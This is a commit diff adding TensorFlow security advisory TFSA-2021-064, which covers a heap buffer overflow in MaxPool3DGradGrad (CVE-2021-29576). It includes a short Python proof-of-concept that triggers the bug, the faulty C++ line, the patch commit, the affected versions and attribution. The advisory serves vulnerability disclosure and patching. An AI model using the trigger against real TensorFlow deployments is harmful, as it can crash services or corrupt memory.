chore: import upstream snapshot with attribution

tensorflow/security/advisory/tfsa-2021-064.md

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+## TFSA-2021-064: Heap buffer overflow in `MaxPool3DGradGrad`
+
+### CVE Number
+CVE-2021-29576
+
+### Impact
+The implementation of `tf.raw_ops.MaxPool3DGradGrad` is vulnerable to a heap
+buffer overflow:
+
+```python
+import tensorflow as tf
+
+values = [0.01] * 11
+orig_input = tf.constant(values, shape=[11, 1, 1, 1, 1], dtype=tf.float32)
+orig_output = tf.constant([0.01], shape=[1, 1, 1, 1, 1], dtype=tf.float32)
+grad = tf.constant([0.01], shape=[1, 1, 1, 1, 1], dtype=tf.float32)
+ksize = [1, 1, 1, 1, 1]
+strides = [1, 1, 1, 1, 1]
+padding = "SAME"
+
+tf.raw_ops.MaxPool3DGradGrad(
+    orig_input=orig_input, orig_output=orig_output, grad=grad, ksize=ksize,
+    strides=strides, padding=padding)
+```
+
+The
+[implementation](https://github.com/tensorflow/tensorflow/blob/596c05a159b6fbb9e39ca10b3f7753b7244fa1e9/tensorflow/core/kernels/pooling_ops_3d.cc#L694-L696)
+does not check that the initialization of `Pool3dParameters` completes
+successfully:
+
+```cc
+Pool3dParameters params{context,  ksize_,       stride_,
+                        padding_, data_format_, tensor_in.shape()};
+```
+
+Since [the
+constructor](https://github.com/tensorflow/tensorflow/blob/596c05a159b6fbb9e39ca10b3f7753b7244fa1e9/tensorflow/core/kernels/pooling_ops_3d.cc#L48-L88)
+uses `OP_REQUIRES` to validate conditions, the first assertion that fails
+interrupts the initialization of `params`, making it contain invalid data. In
+turn, this might cause a heap buffer overflow, depending on default initialized
+values.
+
+### Patches
+We have patched the issue in GitHub commit
+[63c6a29d0f2d692b247f7bf81f8732d6442fad09](https://github.com/tensorflow/tensorflow/commit/63c6a29d0f2d692b247f7bf81f8732d6442fad09).
+
+The fix will be included in TensorFlow 2.5.0. We will also cherrypick this
+commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow
+2.1.4, as these are also affected and still in supported range.
+
+### For more information
+Please consult [our security
+guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for
+more information regarding the security model and how to contact us with issues
+and questions.
+
+### Attribution
+This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu
+X-Team.